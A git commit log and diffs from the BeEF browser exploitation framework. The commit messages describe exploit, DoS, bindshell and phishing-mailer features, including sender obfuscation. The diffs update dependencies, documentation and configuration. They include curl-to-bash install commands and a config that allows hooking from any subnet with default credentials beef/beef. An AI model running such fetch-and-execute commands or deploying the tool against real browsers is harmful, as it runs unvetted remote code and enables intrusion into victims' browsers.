bcoles
61e6337046 Remove zenoss_daemon_csrf module 2013-05-27 12:14:27 +09:30
soh_cah_toa
27b1b530ef Implemented POST handler for /api/dns/rule which adds a new rule.
A host of other changes got roped into this as well. #match now
silently handles blocks passed as a String in order to handle
the 'block' JSON parameter. This is because sourcify doesn't
work with eval'd data.

Rule id's are no longer incremental integers. It's now a 7-character
"token" generated from #secure_token and is managed by the RubyDNS
module.
2013-05-26 22:44:11 -04:00
bcoles
639d0611a6 Add command_id to embedded iframe/img IDs for router exploits
This prevents a race condition where duplicate iframes/imgs are
created if a module is run twice simultaneously. The second iframe/img
was not being removed during `cleanup()`.
2013-05-27 11:56:01 +09:30
bcoles
ab7a62e8a4 Update version 2013-05-27 10:40:58 +09:30
Michele Orru
71f04d82f5 Merge pull request #849 from geefunkmasterpro/master
Enhancements to Mass Mailer
2013-05-26 04:58:57 -07:00
bcoles
704b979054 minor syntax changes to php-5.3.9-dos module 2013-05-26 02:48:04 +09:30
bcoles
7aaafc79aa Remove bi-directional communication from IPEC win bindshell module 2013-05-26 02:41:04 +09:30
bcoles
f90ad4a261 Add detection for WebRTC support 2013-05-24 17:06:36 +09:30
bcoles
0dfab0e348 Add EXTRAnet Collaboration Tool Command Execution exploit module 2013-05-24 16:40:02 +09:30
bcoles
018a849e14 Add 'path' argument for beef.dom.createIframeIpecForm() 2013-05-24 14:01:21 +09:30
bcoles
717f63ff0c Add ruby-nntpd Command Execution exploit module 2013-05-24 13:50:04 +09:30
bcoles
9bac6b4fc1 Add support for Firefox 21 2013-05-24 13:47:31 +09:30
bcoles
2dae1d4c07 Add /bin/sh -c to default command 2013-05-22 14:37:01 +09:30
bcoles
7de48ceafb Add GroovyShell Server Command Execution IPEC exploit module 2013-05-22 02:32:27 +09:30
soh_cah_toa
c6f38324d1 Refactored #get_ruleset to be part of RubyDNS.
All database logic should be inside RubyDNS since BeEF's DNS class
is mostly just a wrapper around it.
2013-05-18 21:00:22 -04:00
soh_cah_toa
054767c898 Added RESTful API route for /api/dns/rule/:id.
This will return a single rule given its unique id.
2013-05-17 23:02:40 -04:00
soh_cah_toa
702595c04c Improved a lot of documentation for BeEF::Extension::DNS::DNS. 2013-05-17 19:12:05 -04:00
soh_cah_toa
c70037f9f4 Began adding support for RESTful API beginning with /api/dns/rules. 2013-05-17 18:25:22 -04:00
soh_cah_toa
13001b9642 Updated README.mkd to mention rubydns and sourcify dependencies.
This was forgettin in commit 872ce2e.
2013-05-16 23:24:23 -04:00
soh_cah_toa
18a78b57b2 Fixed load_rules() to rebuild 'pattern' and 'type' as an array.
This was forgotten in the previous commit.
2013-05-16 23:20:04 -04:00
soh_cah_toa
24f7e5b6cd Separated 'pattern' and 'type' properties in DNS model.
This will expose the resource type to the RESTful API (coming soon).
2013-05-16 23:14:29 -04:00
soh_cah_toa
6d2a771084 Changed model name to BeEF::Core::Models::DNS::Rule.
This is more descriptive and follows the singular name convention.
2013-05-15 22:29:42 -04:00
soh_cah_toa
271b2b8e85 Removed RubyDNS::Server#rules attribute accessor since it's unused. 2013-05-15 22:19:58 -04:00
soh_cah_toa
35f25bbeb9 Removed load_rules() and parse_type() since they're unused. 2013-05-15 22:18:16 -04:00
soh_cah_toa
872ce2e92f Updated README to mention rubydns and sourcify dependencies. 2013-05-15 22:15:50 -04:00
soh_cah_toa
992e95f0d7 Added database support when adding/removing rules.
Needed to add 'sourcify' as a dependency in order to store code blocks
in the database.
2013-05-15 22:12:37 -04:00
soh_cah_toa
1f7e748afc Removed parse_response() since it's no longer needed. 2013-05-14 19:23:08 -04:00
soh_cah_toa
ddcb040c40 Marked add_rule() and remove_rule() as critical sections.
Mutual exclusion is imperative here since other modules/extenions may
be simultaneously adding/removing rules, thus putting the value of
@next_id at risk of becoming inconsistent.
2013-05-14 19:12:23 -04:00
soh_cah_toa
e563a8946b Began implementing new method of adding rules without periodic timer.
Also added improved documentation for add_rule() and remove_rule().
2013-05-14 18:47:51 -04:00
soh_cah_toa
86e01b1327 Documented run_server() and add_rule(). 2013-05-10 23:19:58 -04:00
soh_cah_toa
d622bf3e5e New DNS entries can now be added dynamically without a server restart.
Database is checked every five seconds and adds new rules if there
were any changes.
2013-05-10 23:01:10 -04:00
Brendan Coles
8ecdceb928 Merge pull request #894 from sgorbaty/master
New functionality - detect phonegap plugins
2013-05-09 01:59:49 -07:00
Sergey Gorbaty
498372aef3 Adding phonegap integration with keychain plugin 2013-05-08 13:18:31 -07:00
soh_cah_toa
c7eb1c7fc9 Added DNS database model to load resource records from.
Now modules/extensions can dynamically add new RR's. However, changes
don't take effect until BeEF restarts (fix incoming).
2013-05-08 00:03:08 -04:00
soh_cah_toa
d24a00a639 Overrode RubyDNS::Transaction.respond! to use debug logger instead.
Now all RubyDNS output is properly disabled unless --verbose is given.
2013-05-07 23:59:27 -04:00
soh_cah_toa
c7981f3c0d Demoted UPSTREAM from constant to local variable. Minimizes scope. 2013-05-07 22:40:26 -04:00
soh_cah_toa
281cde1cbb Added new definition for Logger#warn. 2013-05-07 22:06:13 -04:00
soh_cah_toa
493ed5182b Made BeEF::Extension::DNS::DNS into a singleton object.
This ensures that all modules/extensions that add new RR's
refer to a single server instance.
2013-05-07 21:56:11 -04:00
Sergey Gorbaty
55d8506960 Added primitive phonegap plugin detection 2013-05-07 17:10:12 -07:00
antisnatchor
8d60c10298 Merge branch 'master' of https://github.com/beefproject/beef 2013-05-07 13:04:19 +02:00
antisnatchor
94d15cd386 Added DOS module which allows you to send multiple GET or POST requests to a target, from a WebWorker in order to don't slow down the whole browser. 2013-05-07 13:00:34 +02:00
soh_cah_toa
ceb55ef3df Resolved DNS thread issue using EM::next_tick() instead of sleep(). 2013-05-06 13:09:44 -04:00
bcoles
5bbf26abac Add beef.http.dns_port config option 2013-05-06 16:03:17 +09:30
soh_cah_toa
cbd815c519 Changed output format for RubyDNS to be "BeEF-compliant".
RubyDNS's logger now uses BeEF's print-related functions. Debug
messages regarding queries can be enabled using --verbose.
2013-05-05 22:19:54 -04:00
soh_cah_toa
d22373d828 Fixed thread issue that occasionally caused BeEF to stop immediately.
While using sleep() to fix thread complications is never a great
solution, it gets the job done for now.
2013-05-05 21:14:30 -04:00
Brendan Coles
5b90c351da Merge pull request #888 from sgorbaty/master
Adding new features to Phonegap module
2013-05-05 17:26:31 -07:00
antisnatchor
b501fe7c1a Updated Rack dependency in Gemfile in order to don't create conflicts with the updated Sinatra dependency. 2013-05-04 09:42:40 +01:00
Michele Orru
b28e631500 Merge pull request #889 from 0x1a0ran/master
Bug fix: cross-origin XHR with "Origin" or "Referrer" header set always return 403.
2013-05-04 01:30:42 -07:00
soh_cah_toa
fdd1048f1a Implemented basic nameserver and configured it to run on BeEF startup.
It's worth noting that RubyDNS currently displays a lot of messy
output. This needs to be addressed before moving any further.
2013-05-03 22:37:42 -04:00
soh_cah_toa
cc4b34ed8d Started basic DNS extension. Currently does nothing. 2013-05-03 21:25:53 -04:00
soh_cah_toa
9f7d326f6f Added RubyDNS to Gemfile and core/loader.rb. 2013-05-03 17:34:41 -04:00
Sergey Gorbaty
5722cb2bc1 Added email to contact list 2013-05-03 14:24:23 -07:00
Sergey Gorbaty
0479744dfc added device model detection 2013-05-03 14:14:19 -07:00
Sergey Gorbaty
3dbfdbac7e Adding user prompt 2013-05-03 14:02:53 -07:00
Sergey Gorbaty
d3262d9451 Adding local detection 2013-05-03 13:34:09 -07:00
Sergey Gorbaty
906ca6ccce Cordova detection added 2013-05-03 13:13:24 -07:00
Xiaoran Wang
ea560c3464 Added configurable port for postsql and mysql 2013-05-03 13:01:37 -07:00
Xiaoran Wang
b79402ce5f updated sinatra from 1.3.2 to 1.4.2 to fix the CORS request always return a 403 bug. link here https://github.com/sinatra/sinatra/issues/518 2013-05-03 11:02:11 -07:00
Sergey Gorbaty
1699d52475 adding contact list 2013-05-03 10:09:09 -07:00
antisnatchor
c5d5b99472 Issue #886: The preflight OPTIONS request now allow also the content-type header, required to use a json conten-type with POST requests. 2013-05-02 10:55:16 +01:00
antisnatchor
9915547b19 Issue #886: Added support for preflight OPTIONS request. 2013-05-01 17:19:48 +01:00
antisnatchor
ef2eac26eb Issue #886: Added support for CORS on the Router object. The RESTful aPI can not be called from JS x-domain. 2013-05-01 11:15:21 +01:00
bcoles
09be2db069 Update version to beef-0.4.4.5 2013-05-01 17:53:21 +09:30
geefunkmasterpro
66d0e3535b Added fromaddr to mass mailer JSON interface so emails can be sent from
any address without restart.

Removed fromaddr entry from config.yaml.
2013-02-27 23:29:08 +11:00
geefunkmasterpro
e79372f8ac Added auth field to config so that emails are harder to track to sender
Added error handling to identify:
  - errors creating the mail headers
  - errors processing JSON input
  - errors in the mailer configuration
2013-02-27 21:33:48 +11:00
marc
612343990d Merge branch 'master' of https://github.com/beefproject/beef 2012-08-30 11:33:26 +01:00
Marc Wickenden
c708a60bdd new it wasn't 2012-07-24 20:05:45 +01:00
Marc Wickenden
6ce3581ae5 add Gemfile.lock. I'm not sure this is a good idea 2012-07-24 19:51:03 +01:00
1144 changed files with 26039 additions and 3097 deletions

95
.gitignore vendored
View File

@@ -1,3 +1,4 @@
### BeEF ###
beef.db
test/msf-test
custom-config.yaml
@@ -6,3 +7,97 @@ custom-config.yaml
.rvmrc
*.lock
extensions/metasploit/msf-exploits.cache
# The following lines were created by https://www.gitignore.io
### Linux ###
*~
# KDE directory preferences
.directory
### vim ###
[._]*.s[a-w][a-z]
[._]s[a-w][a-z]
*.un~
Session.vim
.netrwhist
*~
### Emacs ###
# -*- mode: gitignore; -*-
*~
\#*\#
/.emacs.desktop
/.emacs.desktop.lock
*.elc
auto-save-list
tramp
.\#*
# Org-mode
.org-id-locations
*_archive
# flymake-mode
*_flymake.*
# eshell files
/eshell/history
/eshell/lastdir
# elpa packages
/elpa/
# reftex files
*.rel
# AUCTeX auto folder
/auto/
# cask packages
.cask/
### nanoc ###
# For projects using nanoc (http://nanoc.ws/)
# Default location for output, needs to match output_dir's value found in config.yaml
output/
# Temporary file directory
tmp/
# Crash Log
crash.log
### Windows ###
# Windows image file caches
Thumbs.db
ehthumbs.db
# Folder config file
Desktop.ini
# Recycle Bin used on file shares
$RECYCLE.BIN/
# Windows Installer files
*.cab
*.msi
*.msm
*.msp
# Windows shortcuts
*.lnk
### TortoiseGit ###
# Project-level settings
/.tgitconfig

View File

@@ -1,2 +0,0 @@
# Reference for old (<1.2) versions of BeEF Live
bash /opt/beef/liveCD/BeEFLive.sh

44
Gemfile
View File

@@ -1,37 +1,49 @@
# BeEF's Gemfile
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Gems only required on Windows, or with specific Windows issues
if RUBY_PLATFORM.downcase.include?("mswin") || RUBY_PLATFORM.downcase.include?("mingw")
gem "win32console"
end
gem "eventmachine", "1.0.3"
gem "thin"
gem "sinatra", "1.3.2"
gem "em-websocket", "~> 0.3.6"
gem "jsmin", "~> 1.0.1"
gem "sinatra", "1.4.2"
gem "rack", "1.5.2"
gem "em-websocket", "~> 0.3.6" # WebSocket support
gem "uglifier", "~> 2.2.1"
# Windows support
if RUBY_PLATFORM.downcase.include?("mswin") || RUBY_PLATFORM.downcase.include?("mingw")
# make sure you install this gem following https://github.com/hiranpeiris/therubyracer_for_windows
gem "therubyracer", "~> 0.11.0beta1"
gem "execjs"
gem "win32console"
elsif !RUBY_PLATFORM.downcase.include?("darwin")
gem "therubyracer", "0.11.3"
gem "execjs"
end
gem "ansi"
gem "term-ansicolor", :require => "term/ansicolor"
gem "dm-core"
gem "json"
gem "data_objects"
gem "dm-sqlite-adapter"
gem "dm-sqlite-adapter" # SQLite support
#gem dm-postgres-adapter # PostgreSQL support
#gem dm-mysql-adapter # MySQL support
gem "parseconfig"
gem "erubis"
gem "dm-migrations"
gem "msfrpc-client"
# notifications
gem "twitter"
gem "msfrpc-client" # Metasploit Integration extension
#gem "twitter", ">= 5.0.0" # Twitter Notifications extension
gem "rubyzip", ">= 1.0.0"
gem "rubydns", "0.7.0" # DNS extension
gem "geoip" # geolocation support
# For running unit tests
if ENV['BEEF_TEST']
# for running unit tests
gem "test-unit"
gem "test-unit-full"
gem "curb"
@@ -42,7 +54,7 @@ if ENV['BEEF_TEST']
# sudo apt-get install libxslt-dev libxml2-dev
# sudo port install libxml2 libxslt
gem "capybara"
#RESTful API tests/generic command module tests
# RESTful API tests/generic command module tests
gem "rest-client", "~> 1.6.7"
end

View File

@@ -1,6 +1,6 @@
===============================================================================
Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
@@ -26,11 +26,14 @@ Installation
2. Prerequisites (Windows)
!!! This must be done PRIOR to running the bundle install command !!!
Windows requires the sqlite.dll. Simply grab the zip file below and extract it to your Ruby bin directory:
http://www.sqlite.org/sqlitedll-3_7_0_1.zip
Other than that, you also need TheRubyRacer. As it's painful to install it on Windows, you can download 2 pre-compiled V8 DLLs and 2 gems from https://github.com/hiranpeiris/therubyracer_for_windows.
3. Prerequisites (Linux)
@@ -39,26 +42,26 @@ Installation
On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required
3.2. rvm install 1.9.2
3.3. rvm use 1.9.2
3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatible and conflicting ruby packages that are required
3.2. rvm install 1.9.3-p484
3.3. rvm use 1.9.3
4. Prerequisites (Mac OSX)
- XCode: provides the sqlite support BeEF needs
- Ruby 1.9
To install RVM and Ruby 1.9.3 on Mac OS:
$ bash -s stable < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source ~/.bash_profile
$ rvm install 1.9.3-p0 --with-gcc=clang
To install RVM and Ruby 1.9.3 on Mac OS:
$ bash -s stable < <(curl -Ls https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source ~/.bash_profile
$ rvm install 1.9.3-p484
$ rvm use 1.9.3
5. Install instructions
Obtain application code either by downloading an archive from https://github.com/beefproject/beef/zipball/master or cloning the GIT repo git@github.com:beefproject/beef.git
Obtain application code either by downloading an archive from https://github.com/beefproject/beef/archive/master.zip or cloning the GIT repo https://github.com/beefproject/beef.git
Navigate to the ruby source directory and run:
Enter into the newly created BeEF directory, and type:
bundle install
@@ -68,4 +71,4 @@ Installation
Simply run:
./beef
./beef -x

28
README
View File

@@ -1,6 +1,6 @@
===============================================================================
Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
@@ -35,24 +35,9 @@ Requirements
------------
* OSX 10.5.0 or higher, Modern Linux, Windows XP or higher
* [Ruby](http://rubylang.org) 1.9.2 RVM or higher
* [Ruby](http://rubylang.org) 1.9.2 or higher
* [SQLite](http://sqlite.org) 3.x
* The following GEMS:
- bundler
- thin
- Sinatra
- ANSI
- TERM-ANSIcolor
- dm-core
- json
- data_objects
- dm-sqlite-adapter
- parseconfig
- erubis
- dm-migrations
- msfrpc-client
- eventmachine
- win32console (Windows Only)
* The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile
Quick Start
@@ -60,15 +45,16 @@ Quick Start
__The following is for the impatient.__
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
We also have a Wiki page at https://github.com/beefproject/beef/wiki/Installation
$ bash -s stable < <(curl -s https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef)
$ bash -s stable < <(curl -Ls https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef)
Usage
-----
To get started, simply execute beef and follow the instrustions:
To get started, simply execute beef and follow the instructions:
$ ./beef

View File

@@ -1,6 +1,6 @@
===============================================================================
Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
@@ -35,24 +35,9 @@ Requirements
------------
* OSX 10.5.0 or higher, Modern Linux, Windows XP or higher
* [Ruby](http://rubylang.org) 1.9.2 RVM or higher
* [Ruby](http://rubylang.org) 1.9.2 or higher
* [SQLite](http://sqlite.org) 3.x
* The following GEMS:
- bundler
- thin
- Sinatra
- ANSI
- TERM-ANSIcolor
- dm-core
- json
- data_objects
- dm-sqlite-adapter
- parseconfig
- erubis
- dm-migrations
- msfrpc-client
- eventmachine
- win32console (Windows Only)
* The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile
Quick Start
@@ -60,9 +45,10 @@ Quick Start
__The following is for the impatient.__
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
We also have a Wiki page at https://github.com/beefproject/beef/wiki/Installation
$ curl https://raw.github.com/beefproject/beef/a6a7536e/install-beef | bash -s stable
$ curl -L https://raw.github.com/beefproject/beef/a6a7536e/install-beef | bash -s stable
Usage
@@ -72,3 +58,6 @@ To get started, simply execute beef and follow the instructions:
$ ./beef
On windows use
$ ruby beef

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -8,14 +8,14 @@ task :default => ["quick"]
desc "Run quick tests"
task :quick do
Rake::Task['unit'].invoke # run unit tests
Rake::Task['unit'].invoke # run unit tests
end
desc "Run all tests"
task :all do
Rake::Task['integration'].invoke # run integration tests
Rake::Task['unit'].invoke # run unit tests
Rake::Task['msf'].invoke # run msf tests
Rake::Task['integration'].invoke # run integration tests
Rake::Task['unit'].invoke # run unit tests
Rake::Task['msf'].invoke # run msf tests
end
desc "Run automated tests (for Jenkins)"
@@ -38,16 +38,16 @@ task :unit => ["install"] do
end
desc "Run MSF unit tests"
task :msf => ["install", "msf_install"] do
task :msf => ["install", "msf_install"] do
Rake::Task['msf_update'].invoke
Rake::Task['msf_start'].invoke
sh "cd test/thirdparty/msf/unit/;ruby -W0 ts_metasploit.rb"
Rake::Task['msf_stop'].invoke
end
task :install do
sh "export BEEF_TEST=true;bundle install"
end
#task :install do
# sh "export BEEF_TEST=true"
#end
################################
# X11 set up
@@ -57,7 +57,7 @@ end
task :xserver_start do
printf "Starting X11 Server (wait 10 seconds)..."
@xserver_process_id = IO.popen("/usr/bin/Xvfb :0 -screen 0 1024x768x24 2> /dev/null", "w+")
delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays = [2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays.each do |i| # delay for 10 seconds
printf '.'
sleep (i) # increase the . display rate
@@ -78,7 +78,7 @@ end
task :beef_start => 'beef' do
printf "Starting BeEF (wait a few seconds)..."
@beef_process_id = IO.popen("ruby ./beef -x 2> /dev/null", "w+")
delays = [3, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
delays = [10, 10, 5, 5, 4, 4, 3, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1]
delays.each do |i| # delay for a few seconds
printf '.'
sleep (i)
@@ -99,7 +99,7 @@ end
task :msf_start => '/tmp/msf-test/msfconsole' do
printf "Starting MSF (wait 45 seconds)..."
@msf_process_id = IO.popen("/tmp/msf-test/msfconsole -r test/thirdparty/msf/unit/BeEF.rc 2> /dev/null", "w+")
delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays.each do |i| # delay for 45 seconds
printf '.'
sleep (i) # increase the . display rate
@@ -116,7 +116,7 @@ task :msf_install => '/tmp/msf-test/msfconsole' do
# Handled by the 'test/msf-test/msfconsole' task.
end
task :msf_update => '/tmp/msf-test/msfconsole' do
task :msf_update => '/tmp/msf-test/msfconsole' do
sh "cd /tmp/msf-test;git pull"
end
@@ -159,10 +159,10 @@ task :cde do
Rake::Task['cde_beef_start'].invoke
Rake::Task['beef_stop'].invoke
puts "\nCleaning Up...\n";
sleep (2);
sleep (2);
sh "rm -rf CDE";
puts "\nCDE Package Created...\n";
end
end
################################
# CDE/BeEF environment set up
@@ -172,7 +172,7 @@ task :cde do
task :cde_beef_start => 'beef' do
printf "Starting CDE BeEF (wait 10 seconds)..."
@beef_process_id = IO.popen("./CDE/cde ruby beef -x 2> /dev/null", "w+")
delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays = [2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays.each do |i| # delay for 10 seconds
printf '.'
sleep (i)

View File

@@ -1,7 +1,7 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
0.4.4.4.1-alpha
0.4.6.0-alpha

8
beef
View File

@@ -1,7 +1,7 @@
#!/usr/bin/env ruby
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -58,6 +58,11 @@ unless BeEF::Core::Console::CommandLine.parse[:ws_port].empty?
config.set('beef.http.websocket.port', BeEF::Core::Console::CommandLine.parse[:ws_port])
end
# @note Check if interactive was specified from the command line, therefore override the extension to enable
if BeEF::Core::Console::CommandLine.parse[:interactive] == true
config.set('beef.extension.console.shell.enable',true)
end
# @note Prints BeEF welcome message
BeEF::Core::Console::Banners.print_welcome_msg
@@ -75,6 +80,7 @@ case config.get("beef.database.driver")
DataMapper.setup(:default,
:adapter => config.get("beef.database.driver"),
:host => config.get("beef.database.db_host"),
:port => config.get("beef.database.db_port"),
:username => config.get("beef.database.db_user"),
:password => config.get("beef.database.db_passwd"),
:database => config.get("beef.database.db_name"),

View File

@@ -1,56 +1,84 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# BeEF Configuration file
beef:
version: '0.4.4.4.1-alpha'
version: '0.4.6.0-alpha'
# More verbose messages (server-side)
debug: false
# More verbose messages (client-side)
client_debug: false
# Used for generating secure tokens
crypto_default_value_length: 80
# Interface / IP restrictions
restrictions:
# subnet of browser ip addresses that can hook to the framework
# subnet of IP addresses that can hook to the framework
permitted_hooking_subnet: "0.0.0.0/0"
# subnet of browser ip addresses that can connect to the UI
# permitted_ui_subnet: "127.0.0.1/32"
# subnet of IP addresses that can connect to the admin UI
#permitted_ui_subnet: "127.0.0.1/32"
permitted_ui_subnet: "0.0.0.0/0"
# HTTP server
http:
debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
host: "0.0.0.0"
port: "3000"
# Decrease this setting up to 1000 if you want more responsiveness when sending modules and retrieving results.
# It's not advised to decrease it with tons of hooked browsers (more than 50),
# because it might impact performance. Also, enable WebSockets is generally better.
# Decrease this setting to 1,000 (ms) if you want more responsiveness
# when sending modules and retrieving results.
# NOTE: A poll timeout of less than 5,000 (ms) might impact performance
# when hooking lots of browsers (50+).
# Enabling WebSockets is generally better (beef.websocket.enable)
xhr_poll_timeout: 5000
# if running behind a nat set the public ip address here
#public: ""
#public_port: "" # port setting is experimental
dns: "localhost"
panel_path: "/ui/panel"
# Reverse Proxy / NAT
# If BeEF is running behind a reverse proxy or NAT
# set the public hostname and port here
#public: "" # public hostname/IP address
#public_port: "" # experimental
# DNS
dns_host: "localhost"
dns_port: 53
# Web Admin user interface URI
web_ui_basepath: "/ui"
# Hook
hook_file: "/hook.js"
hook_session_name: "BEEFHOOK"
session_cookie_name: "BEEFSESSION"
# Allow one or multiple origins to access the RESTful API using CORS
# For multiple origins use: "http://browserhacker.com, http://domain2.com"
restful_api:
allow_cors: false
cors_allowed_domains: "http://browserhacker.com"
# Prefer WebSockets over XHR-polling when possible.
websocket:
enable: false
secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF
port: 61985 # WS: good success rate through proxies
secure_port: 61986 # WSSecure
ws_poll_timeout: 1000 # poll BeEF every second
enable: false
port: 61985 # WS: good success rate through proxies
# Use encrypted 'WebSocketSecure'
# NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF
secure: true
secure_port: 61986 # WSSecure
ws_poll_timeout: 1000 # poll BeEF every second
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
web_server_imitation:
enable: true
type: "apache" #supported: apache, iis
type: "apache" # Supported: apache, iis, nginx
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
https:
enable: false
# In production environments, be sure to use a valid certificate signed for the value
# used in beef.http.dns (the domain name of the server where you run BeEF)
# used in beef.http.dns_host (the domain name of the server where you run BeEF)
key: "beef_key.pem"
cert: "beef_cert.pem"
@@ -72,12 +100,14 @@ beef:
# db connection information is only used for mysql/postgres
db_host: "localhost"
db_port: 5432
db_name: "beef"
db_user: "beef"
db_passwd: "beef123"
db_encoding: "UTF-8"
# Credentials to authenticate in BeEF. Used by both the RESTful API and the Admin_UI extension
# Credentials to authenticate in BeEF.
# Used by both the RESTful API and the Admin_UI extension
credentials:
user: "beef"
passwd: "beef"
@@ -86,14 +116,26 @@ beef:
# NOTE: only modules with target type 'working' or 'user_notify' can be run automatically.
autorun:
enable: true
# set this to FALSE if you don't want to allow auto-run execution for modules with target->user_notify
# set this to TRUE if you want to allow auto-run execution for modules with target->user_notify
allow_user_notify: true
crypto_default_value_length: 80
# Enables DNS lookups on zombie IP addresses
dns_hostname_lookup: false
# Enable client-side debugging
client:
debug: false
# IP Geolocation
# NOTE: requires MaxMind database:
# curl -O http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
# gunzip GeoLiteCity.dat.gz && mkdir /opt/GeoIP && mv GeoLiteCity.dat /opt/GeoIP
geoip:
enable: false
database: '/opt/GeoIP/GeoLiteCity.dat'
# Integration with PhishingFrenzy
# If enabled BeEF will try to get the UID parameter value from the hooked URI, as this is used by PhishingFrenzy
# to uniquely identify the victims. In this way you can easily associate phishing emails with hooked browser.
integration:
phishing_frenzy:
enable: false
# You may override default extension configuration parameters here
extension:
@@ -101,6 +143,8 @@ beef:
enable: true
proxy:
enable: true
key: "beef_key.pem"
cert: "beef_cert.pem"
metasploit:
enable: false
social_engineering:
@@ -112,3 +156,6 @@ beef:
enable: false
ipec:
enable: true
# this is still experimental, we're working on it..
dns:
enable: true

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -155,7 +155,7 @@ module BeEF
if not result == nil
data << {:api_id => mod[:id], :data => result}
end
rescue Exception => e
rescue => e
print_error "API Fire Error: #{e.message} in #{mod.to_s}.#{method.to_s}()"
end
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
